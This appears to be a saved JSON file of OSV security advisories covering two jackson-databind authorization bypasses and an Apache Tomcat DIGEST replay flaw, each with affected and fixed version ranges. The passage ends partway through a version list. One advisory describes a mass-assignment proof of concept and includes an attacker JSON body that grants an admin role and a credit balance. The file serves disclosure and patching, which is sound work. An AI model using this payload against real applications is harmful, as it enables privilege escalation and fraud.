pandoli365
/
bibimbap
1
0
Fork 0
Code Issues Pull Requests Packages Projects Releases Wiki Activity
bibimbap/.atp/work-session/20260922-114058/artifacts/latest-osv-advisories.json

5661 lines
147 KiB
JSON
Raw Blame History

[
{
"id": "GHSA-5gvw-p9qm-jgwh",
"summary": "jackson-databind: @JsonView bypassed for @JsonUnwrapped container properties on deserialization",
"details": "## Summary\n`UnwrappedPropertyHandler.processUnwrapped()` replays the buffered JSON for a `@JsonUnwrapped` property by iterating its properties and calling `prop.deserializeAndSet()` with **no `prop.visibleInView(ctxt.getActiveView())` guard** \u2014 the exact guard `processUnwrappedCreatorProperties()` received in the #5971 / GHSA-rcqc-6cw3-h962 fix, and the guard `BeanDeserializer.deserializeWithUnwrapped` applies to directly-matched properties. As a result, a property annotated with both `@JsonView(PrivilegedView.class)` and `@JsonUnwrapped` is written from attacker JSON even when deserializing under a more-restrictive active view.\n\n**Correction to the original framing (runtime-verified):** the gap is NOT a per-field inner `@JsonView` (the unwrapped sub-object's own `BeanDeserializer` gates inner fields correctly). The unchecked gate is the **view of the unwrapped CONTAINER property**.\n\n## Intent proof (runtime, 2.x HEAD 21dd70dd and 3.x HEAD 7a5939d6)\nAn `@JsonView(AdminView)` property that is NOT `@JsonUnwrapped` \u2192 `null` under `PublicView` (correctly gated). The identical property WITH `@JsonUnwrapped` \u2192 fully populated (bypass). The fix the creator path already received, not applied to the regular-property method.\n\n## Impact \u2014 write-side mass-assignment / privilege escalation\n`@JsonView` is commonly used as a write-side authorization guard: a public endpoint binds the body under `readerWithView(PublicView.class)` and groups privileged state in a nested object whose container property is `@JsonView(AdminView)`. When that property is `@JsonUnwrapped`, an untrusted caller mass-assigns it. PoC: a self-service registration where `AccountFlags{role,approved,creditBalance}` is `@JsonView(AdminView) @JsonUnwrapped`; attacker JSON `{role:ADMIN,approved:true,creditBalance:1000000}` under `PublicView` binds all three \u2192 approved admin with arbitrary balance. The failing gate is a WRITE gate, hence integrity-high (`C:N/I:H/A:N`); no worse than the C:L/I:L parent and arguably higher as `@JsonView`-as-write-guard is the exact use case #5971/#5969 defended.\n\n## Affected\n- `com.fasterxml.jackson.core:jackson-databind` 2.x: confirmed bypass at 21dd70dd (== released 2.21.4 / 2.22.0 line; includes the #5973 backport). `DEFAULT_VIEW_INCLUSION` default=true.\n- `tools.jackson.core:jackson-databind` 3.x: confirmed bypass at HEAD 7a5939d6 (latest 3.x). `DEFAULT_VIEW_INCLUSION` default=false \u2192 the stock-config repro is the common shape where privileged inner fields are individually `@JsonView(PublicView)` and the developer relies on the container `@JsonView(AdminView)`; the 3.x PoC mass-assigns role/approved/creditBalance under PublicView. (The other simultaneous report's PoC was reportedly fixed on 3.x; this distinct container-property path is not.)\n\n## Additive variants (runtime-confirmed both branches; all closed by the same one-line guard)\n- nested `@JsonUnwrapped` (unwrapped-in-unwrapped) \u2014 recursive bypass.\n- merge / `readerWithView(...).withValueToUpdate(...)` (PATCH/partial-update) \u2014 bypass; non-unwrapped merge control gates correctly.\n- builder-based deserializer (`@JsonDeserialize(builder=...)`) \u2014 `BuilderBasedDeserializer` routes through the same `processUnwrapped`.\n- Honest non-findings: read-side serialization correctly honors views (no leak); `@JsonAnySetter`+view and `@JsonTypeInfo`+`@JsonUnwrapped` are separate/unsupported behaviors, not this bug.\n\n## Fix\nAdd `prop.visibleInView(ctxt.getActiveView())` (when `MapperFeature.DEFAULT_VIEW_INCLUSION`/active-view applies) to the `processUnwrapped()` property loop, mirroring `processUnwrappedCreatorProperties()`. One change closes the impact PoC + all three variants across `BeanDeserializer` and `BuilderBasedDeserializer`. Full runnable PoCs (2.x + 3.x) + variant harnesses available on request.",
"aliases": [
"CVE-2026-59889"
],
"modified": "2026-09-10T03:51:10.658074231Z",
"published": "2026-07-21T22:00:43Z",
"database_specific": {
"severity": "MODERATE",
"github_reviewed": true,
"github_reviewed_at": "2026-07-21T22:00:43Z",
"nvd_published_at": "2026-07-14T21:17:06Z",
"cwe_ids": [
"CWE-863"
]
},
"references": [
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-5gvw-p9qm-jgwh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59889"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/issues/6060"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/pull/6056"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/commit/d627a8a86fcb062429282f79f3f256f181ed2c7b"
},
{
"type": "PACKAGE",
"url": "https://github.com/FasterXML/jackson-databind"
}
],
"affected": [
{
"package": {
"name": "com.fasterxml.jackson.core:jackson-databind",
"ecosystem": "Maven",
"purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "2.21.0"
},
{
"fixed": "2.21.5"
}
]
}
],
"versions": [
"2.21.0",
"2.21.1",
"2.21.2",
"2.21.3",
"2.21.4"
],
"database_specific": {
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-5gvw-p9qm-jgwh/GHSA-5gvw-p9qm-jgwh.json"
}
},
{
"package": {
"name": "tools.jackson.core:jackson-databind",
"ecosystem": "Maven",
"purl": "pkg:maven/tools.jackson.core/jackson-databind"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.1.5"
}
]
}
],
"versions": [
"3.0.0",
"3.0.1",
"3.0.2",
"3.0.3",
"3.0.4",
"3.1.0",
"3.1.0-rc1",
"3.1.1",
"3.1.2",
"3.1.3",
"3.1.4"
],
"database_specific": {
"last_known_affected_version_range": "<= 3.1.4",
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-5gvw-p9qm-jgwh/GHSA-5gvw-p9qm-jgwh.json"
}
},
{
"package": {
"name": "com.fasterxml.jackson.core:jackson-databind",
"ecosystem": "Maven",
"purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "2.18.0"
},
{
"fixed": "2.18.9"
}
]
}
],
"versions": [
"2.18.0",
"2.18.1",
"2.18.2",
"2.18.3",
"2.18.4",
"2.18.5",
"2.18.6",
"2.18.7",
"2.18.8"
],
"database_specific": {
"last_known_affected_version_range": "<= 2.18.8",
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-5gvw-p9qm-jgwh/GHSA-5gvw-p9qm-jgwh.json"
}
},
{
"package": {
"name": "com.fasterxml.jackson.core:jackson-databind",
"ecosystem": "Maven",
"purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "2.22.0"
},
{
"fixed": "2.22.1"
}
]
}
],
"versions": [
"2.22.0"
],
"database_specific": {
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-5gvw-p9qm-jgwh/GHSA-5gvw-p9qm-jgwh.json"
}
},
{
"package": {
"name": "tools.jackson.core:jackson-databind",
"ecosystem": "Maven",
"purl": "pkg:maven/tools.jackson.core/jackson-databind"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "3.2.0"
},
{
"fixed": "3.2.1"
}
]
}
],
"versions": [
"3.2.0"
],
"database_specific": {
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-5gvw-p9qm-jgwh/GHSA-5gvw-p9qm-jgwh.json"
}
}
],
"schema_version": "1.9.0",
"severity": [
{
"type": "CVSS_V3",
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N"
}
]
},
{
"id": "GHSA-5jmj-h7xm-6q6v",
"summary": "jackson-databind has case-insensitive deserialization bypasses per-property @JsonIgnoreProperties",
"details": "## Summary\nIn `BeanDeserializerBase.createContextual()`, per-property `@JsonIgnoreProperties` exclusions are applied by `_handleByNameInclusion()`, producing a `contextual` deserializer whose `BeanPropertyMap` has the ignored properties removed. The subsequent per-property case-insensitivity block (triggered by `@JsonFormat(ACCEPT_CASE_INSENSITIVE_PROPERTIES)`) rebuilds from `this._beanProperties` (the original, unfiltered map) instead of `contextual._beanProperties`, then overwrites the filtered map \u2014 restoring every property `_handleByNameInclusion` had just removed. The ignored property becomes writable again.\n\n## Impact\nAn application that both enables case-insensitive matching and relies on per-property `@JsonIgnoreProperties` to keep a field unwritable can have that field set from untrusted JSON (mass-assignment-style write).\n\n## Affected / Patched\nWill be fixed in 2.18.9, 2.21.5, 2.22.1 and 3.1.4.\n\n## Severity / CWE\nMaintainer: minor. Reporter: Moderate. CWE-915.\n\n## Upstream fix\nFasterXML/jackson-databind#5962 (PR #5964, `0e1b0b2`), milestone 3.1.4. Released 2026-06-04.",
"aliases": [
"CVE-2026-54515"
],
"modified": "2026-09-10T03:51:08.069993966Z",
"published": "2026-06-23T21:23:58Z",
"database_specific": {
"cwe_ids": [
"CWE-915"
],
"severity": "MODERATE",
"github_reviewed": true,
"github_reviewed_at": "2026-06-23T21:23:58Z",
"nvd_published_at": "2026-06-23T21:17:02Z"
},
"references": [
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-5jmj-h7xm-6q6v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54515"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/issues/5962"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/issues/5964"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/commit/0e1b0b211f7a53baa62ba2f4c9bd006c7bf4d5fa"
},
{
"type": "PACKAGE",
"url": "https://github.com/FasterXML/jackson-databind"
}
],
"affected": [
{
"package": {
"name": "com.fasterxml.jackson.core:jackson-databind",
"ecosystem": "Maven",
"purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "3.1.0"
},
{
"fixed": "3.1.4"
}
]
}
],
"database_specific": {
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-5jmj-h7xm-6q6v/GHSA-5jmj-h7xm-6q6v.json"
}
},
{
"package": {
"name": "tools.jackson.core:jackson-databind",
"ecosystem": "Maven",
"purl": "pkg:maven/tools.jackson.core/jackson-databind"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "3.1.0"
},
{
"fixed": "3.1.4"
}
]
}
],
"versions": [
"3.1.0",
"3.1.1",
"3.1.2",
"3.1.3"
],
"database_specific": {
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-5jmj-h7xm-6q6v/GHSA-5jmj-h7xm-6q6v.json"
}
},
{
"package": {
"name": "com.fasterxml.jackson.core:jackson-databind",
"ecosystem": "Maven",
"purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "2.8.0"
},
{
"fixed": "2.18.9"
}
]
}
],
"versions": [
"2.10.0",
"2.10.0.pr1",
"2.10.0.pr2",
"2.10.0.pr3",
"2.10.1",
"2.10.2",
"2.10.3",
"2.10.4",
"2.10.5",
"2.10.5.1",
"2.11.0",
"2.11.0.rc1",
"2.11.1",
"2.11.2",
"2.11.3",
"2.11.4",
"2.12.0",
"2.12.0-rc1",
"2.12.0-rc2",
"2.12.1",
"2.12.2",
"2.12.3",
"2.12.4",
"2.12.5",
"2.12.6",
"2.12.6.1",
"2.12.7",
"2.12.7.1",
"2.12.7.2",
"2.13.0",
"2.13.0-rc1",
"2.13.0-rc2",
"2.13.1",
"2.13.2",
"2.13.2.1",
"2.13.2.2",
"2.13.3",
"2.13.4",
"2.13.4.1",
"2.13.4.2",
"2.13.5",
"2.14.0",
"2.14.0-rc1",
"2.14.0-rc2",
"2.14.0-rc3",
"2.14.1",
"2.14.2",
"2.14.3",
"2.15.0",
"2.15.0-rc1",
"2.15.0-rc2",
"2.15.0-rc3",
"2.15.1",
"2.15.2",
"2.15.3",
"2.15.4",
"2.16.0",
"2.16.0-rc1",
"2.16.1",
"2.16.2",
"2.17.0",
"2.17.0-rc1",
"2.17.1",
"2.17.2",
"2.17.3",
"2.18.0",
"2.18.0-rc1",
"2.18.1",
"2.18.2",
"2.18.3",
"2.18.4",
"2.18.5",
"2.18.6",
"2.18.7",
"2.18.8",
"2.8.0",
"2.8.1",
"2.8.10",
"2.8.11",
"2.8.11.1",
"2.8.11.2",
"2.8.11.3",
"2.8.11.4",
"2.8.11.5",
"2.8.11.6",
"2.8.2",
"2.8.3",
"2.8.4",
"2.8.5",
"2.8.6",
"2.8.7",
"2.8.8",
"2.8.8.1",
"2.8.9",
"2.9.0",
"2.9.0.pr1",
"2.9.0.pr2",
"2.9.0.pr3",
"2.9.0.pr4",
"2.9.1",
"2.9.10",
"2.9.10.1",
"2.9.10.2",
"2.9.10.3",
"2.9.10.4",
"2.9.10.5",
"2.9.10.6",
"2.9.10.7",
"2.9.10.8",
"2.9.2",
"2.9.3",
"2.9.4",
"2.9.5",
"2.9.6",
"2.9.7",
"2.9.8",
"2.9.9",
"2.9.9.1",
"2.9.9.2",
"2.9.9.3"
],
"database_specific": {
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-5jmj-h7xm-6q6v/GHSA-5jmj-h7xm-6q6v.json"
}
},
{
"package": {
"name": "com.fasterxml.jackson.core:jackson-databind",
"ecosystem": "Maven",
"purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "2.19.0"
},
{
"fixed": "2.21.5"
}
]
}
],
"versions": [
"2.19.0",
"2.19.1",
"2.19.2",
"2.19.3",
"2.19.4",
"2.20.0",
"2.20.0-rc1",
"2.20.1",
"2.20.2",
"2.21.0",
"2.21.1",
"2.21.2",
"2.21.3",
"2.21.4"
],
"database_specific": {
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-5jmj-h7xm-6q6v/GHSA-5jmj-h7xm-6q6v.json"
}
},
{
"package": {
"name": "com.fasterxml.jackson.core:jackson-databind",
"ecosystem": "Maven",
"purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "2.22.0"
},
{
"fixed": "2.22.1"
}
]
}
],
"versions": [
"2.22.0"
],
"database_specific": {
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-5jmj-h7xm-6q6v/GHSA-5jmj-h7xm-6q6v.json"
}
}
],
"schema_version": "1.9.0",
"severity": [
{
"type": "CVSS_V3",
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N"
}
]
},
{
"id": "GHSA-9xv2-5v5q-p794",
"summary": "Apache Tomcat's DIGEST authenticator has an Authentication Bypass by Capture-replay vulnerability",
"details": "Authentication Bypass by Capture-replay vulnerability in Apache Tomcat's DIGEST authenticator. If, before windowSize requests have been made, a client makes a DIGEST authenticated request with a nonceCount on the upper boundary of the replay window then that request is replayable once only while the associated nonceCount remains within the replay window.\n\nThis issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.24, from 10.1.0-M1 through 10.1.57, from 9.0.0.M1 through 9.0.120.\n\nThe following versions were EOL at the time the CVE was created but are known to be affected:\u00a0from 8.5.0 through 8.5.100, from 7.0.30 through 7.0.109. Other unsupported versions may also be affected.\n\nUsers are recommended to upgrade to version 11.0.25, 10.1.58 or 9.0.121, which fix the issue.",
"aliases": [
"BIT-tomcat-2026-65905",
"CVE-2026-65905"
],
"modified": "2026-09-11T08:25:52.825871989Z",
"published": "2026-08-26T00:30:52Z",
"database_specific": {
"cwe_ids": [
"CWE-294"
],
"severity": "CRITICAL",
"github_reviewed": true,
"github_reviewed_at": "2026-09-02T22:38:14Z",
"nvd_published_at": "2026-08-25T22:17:05Z"
},
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-65905"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/tomcat"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/9v114xlpgbzrrbzz5vf9f6r2q4wnxwwj"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/08/26/4"
}
],
"affected": [
{
"package": {
"name": "org.apache.tomcat:tomcat",
"ecosystem": "Maven",
"purl": "pkg:maven/org.apache.tomcat/tomcat"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "11.0.0-M1"
},
{
"fixed": "11.0.25"
}
]
}
],
"versions": [
"11.0.0",
"11.0.0-M1",
"11.0.0-M10",
"11.0.0-M11",
"11.0.0-M12",
"11.0.0-M13",
"11.0.0-M14",
"11.0.0-M15",
"11.0.0-M16",
"11.0.0-M17",
"11.0.0-M18",
"11.0.0-M19",
"11.0.0-M20",
"11.0.0-M21",
"11.0.0-M22",
"11.0.0-M24",
"11.0.0-M25",
"11.0.0-M26",
"11.0.0-M3",
"11.0.0-M4",
"11.0.0-M5",
"11.0.0-M6",
"11.0.0-M7",
"11.0.0-M9",
"11.0.1",
"11.0.10",
"11.0.11",
"11.0.12",
"11.0.13",
"11.0.14",
"11.0.15",
"11.0.18",
"11.0.2",
"11.0.20",
"11.0.21",
"11.0.22",
"11.0.23",
"11.0.24",
"11.0.3",
"11.0.4",
"11.0.5",
"11.0.6",
"11.0.7",
"11.0.8",
"11.0.9"
],
"database_specific": {
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-9xv2-5v5q-p794/GHSA-9xv2-5v5q-p794.json"
}
},
{
"package": {
"name": "org.apache.tomcat:tomcat",
"ecosystem": "Maven",
"purl": "pkg:maven/org.apache.tomcat/tomcat"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "10.1.0-M1"
},
{
"fixed": "10.1.58"
}
]
}
],
"versions": [
"10.1.0",
"10.1.0-M1",
"10.1.0-M10",
"10.1.0-M11",
"10.1.0-M12",
"10.1.0-M14",
"10.1.0-M15",
"10.1.0-M16",
"10.1.0-M17",
"10.1.0-M2",
"10.1.0-M4",
"10.1.0-M5",
"10.1.0-M6",
"10.1.0-M7",
"10.1.0-M8",
"10.1.1",
"10.1.10",
"10.1.11",
"10.1.12",
"10.1.13",
"10.1.14",
"10.1.15",
"10.1.16",
"10.1.17",
"10.1.18",
"10.1.19",
"10.1.2",
"10.1.20",
"10.1.23",
"10.1.24",
"10.1.25",
"10.1.26",
"10.1.28",
"10.1.29",
"10.1.30",
"10.1.31",
"10.1.33",
"10.1.34",
"10.1.35",
"10.1.36",
"10.1.39",
"10.1.4",
"10.1.40",
"10.1.41",
"10.1.42",
"10.1.43",
"10.1.44",
"10.1.45",
"10.1.46",
"10.1.47",
"10.1.48",
"10.1.49",
"10.1.5",
"10.1.50",
"10.1.52",
"10.1.53",
"10.1.54",
"10.1.55",
"10.1.56",
"10.1.57",
"10.1.6",
"10.1.7",
"10.1.8",
"10.1.9"
],
"database_specific": {
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-9xv2-5v5q-p794/GHSA-9xv2-5v5q-p794.json"
}
},
{
"package": {
"name": "org.apache.tomcat:tomcat",
"ecosystem": "Maven",
"purl": "pkg:maven/org.apache.tomcat/tomcat"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "9.0.0.M1"
},
{
"fixed": "9.0.121"
}
]
}
],
"versions": [
"9.0.0.M1",
"9.0.0.M10",
"9.0.0.M11",
"9.0.0.M13",
"9.0.0.M15",
"9.0.0.M17",
"9.0.0.M18",
"9.0.0.M19",
"9.0.0.M20",
"9.0.0.M21",
"9.0.0.M22",
"9.0.0.M25",
"9.0.0.M26",
"9.0.0.M27",
"9.0.0.M3",
"9.0.0.M4",
"9.0.0.M6",
"9.0.0.M8",
"9.0.0.M9",
"9.0.1",
"9.0.10",
"9.0.100",
"9.0.102",
"9.0.104",
"9.0.105",
"9.0.106",
"9.0.107",
"9.0.108",
"9.0.109",
"9.0.11",
"9.0.110",
"9.0.111",
"9.0.112",
"9.0.113",
"9.0.115",
"9.0.116",
"9.0.117",
"9.0.118",
"9.0.119",
"9.0.12",
"9.0.120",
"9.0.13",
"9.0.14",
"9.0.16",
"9.0.17",
"9.0.19",
"9.0.2",
"9.0.20",
"9.0.21",
"9.0.22",
"9.0.24",
"9.0.26",
"9.0.27",
"9.0.29",
"9.0.30",
"9.0.31",
"9.0.33",
"9.0.34",
"9.0.35",
"9.0.36",
"9.0.37",
"9.0.38",
"9.0.39",
"9.0.4",
"9.0.40",
"9.0.41",
"9.0.43",
"9.0.44",
"9.0.45",
"9.0.46",
"9.0.48",
"9.0.5",
"9.0.50",
"9.0.52",
"9.0.53",
"9.0.54",
"9.0.55",
"9.0.56",
"9.0.58",
"9.0.59",
"9.0.6",
"9.0.60",
"9.0.62",
"9.0.63",
"9.0.64",
"9.0.65",
"9.0.67",
"9.0.68",
"9.0.69",
"9.0.7",
"9.0.70",
"9.0.71",
"9.0.72",
"9.0.73",
"9.0.74",
"9.0.75",
"9.0.76",
"9.0.78",
"9.0.79",
"9.0.8",
"9.0.80",
"9.0.81",
"9.0.82",
"9.0.83",
"9.0.84",
"9.0.85",
"9.0.86",
"9.0.87",
"9.0.88",
"9.0.89",
"9.0.90",
"9.0.91",
"9.0.93",
"9.0.94",
"9.0.95",
"9.0.96",
"9.0.97",
"9.0.98",
"9.0.99"
],
"database_specific": {
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-9xv2-5v5q-p794/GHSA-9xv2-5v5q-p794.json"
}
},
{
"package": {
"name": "org.apache.tomcat:tomcat",
"ecosystem": "Maven",
"purl": "pkg:maven/org.apache.tomcat/tomcat"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "8.5.0"
},
{
"last_affected": "8.5.100"
}
]
}
],
"versions": [
"8.5.0",
"8.5.100",
"8.5.11",
"8.5.12",
"8.5.13",
"8.5.14",
"8.5.15",
"8.5.16",
"8.5.19",
"8.5.2",
"8.5.20",
"8.5.21",
"8.5.23",
"8.5.24",
"8.5.27",
"8.5.28",
"8.5.29",
"8.5.3",
"8.5.30",
"8.5.31",
"8.5.32",
"8.5.33",
"8.5.34",
"8.5.35",
"8.5.37",
"8.5.38",
"8.5.39",
"8.5.4",
"8.5.40",
"8.5.41",
"8.5.42",
"8.5.43",
"8.5.45",
"8.5.46",
"8.5.47",
"8.5.49",
"8.5.5",
"8.5.50",
"8.5.51",
"8.5.53",
"8.5.54",
"8.5.55",
"8.5.56",
"8.5.57",
"8.5.58",
"8.5.59",
"8.5.6",
"8.5.60",
"8.5.61",
"8.5.63",
"8.5.64",
"8.5.65",
"8.5.66",
"8.5.68",
"8.5.69",
"8.5.70",
"8.5.71",
"8.5.72",
"8.5.73",
"8.5.75",
"8.5.76",
"8.5.77",
"8.5.78",
"8.5.79",
"8.5.8",
"8.5.81",
"8.5.82",
"8.5.83",
"8.5.84",
"8.5.85",
"8.5.86",
"8.5.87",
"8.5.88",
"8.5.89",
"8.5.9",
"8.5.90",
"8.5.91",
"8.5.92",
"8.5.93",
"8.5.94",
"8.5.95",
"8.5.96",
"8.5.97",
"8.5.98",
"8.5.99"
],
"database_specific": {
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-9xv2-5v5q-p794/GHSA-9xv2-5v5q-p794.json"
}
},
{
"package": {
"name": "org.apache.tomcat:tomcat",
"ecosystem": "Maven",
"purl": "pkg:maven/org.apache.tomcat/tomcat"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "7.0.30"
},
{
"last_affected": "7.0.109"
}
]
}
],
"versions": [
"7.0.100",
"7.0.103",
"7.0.104",
"7.0.105",
"7.0.106",
"7.0.107",
"7.0.108",
"7.0.109",
"7.0.35",
"7.0.37",
"7.0.39",
"7.0.40",
"7.0.41",
"7.0.42",
"7.0.47",
"7.0.50",
"7.0.52",
"7.0.53",
"7.0.54",
"7.0.55",
"7.0.56",
"7.0.57",
"7.0.59",
"7.0.61",
"7.0.62",
"7.0.63",
"7.0.64",
"7.0.65",
"7.0.67",
"7.0.68",
"7.0.69",
"7.0.70",
"7.0.72",
"7.0.73",
"7.0.75",
"7.0.76",
"7.0.77",
"7.0.78",
"7.0.79",
"7.0.81",
"7.0.82",
"7.0.84",
"7.0.85",
"7.0.86",
"7.0.88",
"7.0.90",
"7.0.91",
"7.0.92",
"7.0.93",
"7.0.94",
"7.0.96",
"7.0.99"
],
"database_specific": {
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-9xv2-5v5q-p794/GHSA-9xv2-5v5q-p794.json"
}
},
{
"package": {
"name": "org.apache.tomcat.embed:tomcat-embed-core",
"ecosystem": "Maven",
"purl": "pkg:maven/org.apache.tomcat.embed/tomcat-embed-core"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "11.0.0-M1"
},
{
"fixed": "11.0.25"
}
]
}
],
"versions": [
"11.0.0",
"11.0.0-M1",
"11.0.0-M10",
"11.0.0-M11",
"11.0.0-M12",
"11.0.0-M13",
"11.0.0-M14",
"11.0.0-M15",
"11.0.0-M16",
"11.0.0-M17",
"11.0.0-M18",
"11.0.0-M19",
"11.0.0-M20",
"11.0.0-M21",
"11.0.0-M22",
"11.0.0-M24",
"11.0.0-M25",
"11.0.0-M26",
"11.0.0-M3",
"11.0.0-M4",
"11.0.0-M5",
"11.0.0-M6",
"11.0.0-M7",
"11.0.0-M9",
"11.0.1",
"11.0.10",
"11.0.11",
"11.0.12",
"11.0.13",
"11.0.14",
"11.0.15",
"11.0.18",
"11.0.2",
"11.0.20",
"11.0.21",
"11.0.22",
"11.0.23",
"11.0.24",
"11.0.3",
"11.0.4",
"11.0.5",
"11.0.6",
"11.0.7",
"11.0.8",
"11.0.9"
],
"database_specific": {
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-9xv2-5v5q-p794/GHSA-9xv2-5v5q-p794.json"
}
},
{
"package": {
"name": "org.apache.tomcat.embed:tomcat-embed-core",
"ecosystem": "Maven",
"purl": "pkg:maven/org.apache.tomcat.embed/tomcat-embed-core"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "10.1.0-M1"
},
{
"fixed": "10.1.58"
}
]
}
],
"versions": [
"10.1.0",
"10.1.0-M1",
"10.1.0-M10",
"10.1.0-M11",
"10.1.0-M12",
"10.1.0-M14",
"10.1.0-M15",
"10.1.0-M16",
"10.1.0-M17",
"10.1.0-M2",
"10.1.0-M4",
"10.1.0-M5",
"10.1.0-M6",
"10.1.0-M7",
"10.1.0-M8",
"10.1.1",
"10.1.10",
"10.1.11",
"10.1.12",
"10.1.13",
"10.1.14",
"10.1.15",
"10.1.16",
"10.1.17",
"10.1.18",
"10.1.19",
"10.1.2",
"10.1.20",
"10.1.23",
"10.1.24",
"10.1.25",
"10.1.26",
"10.1.28",
"10.1.29",
"10.1.30",
"10.1.31",
"10.1.33",
"10.1.34",
"10.1.35",
"10.1.36",
"10.1.39",
"10.1.4",
"10.1.40",
"10.1.41",
"10.1.42",
"10.1.43",
"10.1.44",
"10.1.45",
"10.1.46",
"10.1.47",
"10.1.48",
"10.1.49",
"10.1.5",
"10.1.50",
"10.1.52",
"10.1.53",
"10.1.54",
"10.1.55",
"10.1.56",
"10.1.57",
"10.1.6",
"10.1.7",
"10.1.8",
"10.1.9"
],
"database_specific": {
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-9xv2-5v5q-p794/GHSA-9xv2-5v5q-p794.json"
}
},
{
"package": {
"name": "org.apache.tomcat.embed:tomcat-embed-core",
"ecosystem": "Maven",
"purl": "pkg:maven/org.apache.tomcat.embed/tomcat-embed-core"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "9.0.0.M1"
},
{
"fixed": "9.0.121"
}
]
}
],
"versions": [
"9.0.0.M1",
"9.0.0.M10",
"9.0.0.M11",
"9.0.0.M13",
"9.0.0.M15",
"9.0.0.M17",
"9.0.0.M18",
"9.0.0.M19",
"9.0.0.M20",
"9.0.0.M21",
"9.0.0.M22",
"9.0.0.M25",
"9.0.0.M26",
"9.0.0.M27",
"9.0.0.M3",
"9.0.0.M4",
"9.0.0.M6",
"9.0.0.M8",
"9.0.0.M9",
"9.0.1",
"9.0.10",
"9.0.100",
"9.0.102",
"9.0.104",
"9.0.105",
"9.0.106",
"9.0.107",
"9.0.108",
"9.0.109",
"9.0.11",
"9.0.110",
"9.0.111",
"9.0.112",
"9.0.113",
"9.0.115",
"9.0.116",
"9.0.117",
"9.0.118",
"9.0.119",
"9.0.12",
"9.0.120",
"9.0.13",
"9.0.14",
"9.0.16",
"9.0.17",
"9.0.19",
"9.0.2",
"9.0.20",
"9.0.21",
"9.0.22",
"9.0.24",
"9.0.26",
"9.0.27",
"9.0.29",
"9.0.30",
"9.0.31",
"9.0.33",
"9.0.34",
"9.0.35",
"9.0.36",
"9.0.37",
"9.0.38",
"9.0.39",
"9.0.4",
"9.0.40",
"9.0.41",
"9.0.43",
"9.0.44",
"9.0.45",
"9.0.46",
"9.0.48",
"9.0.5",
"9.0.50",
"9.0.52",
"9.0.53",
"9.0.54",
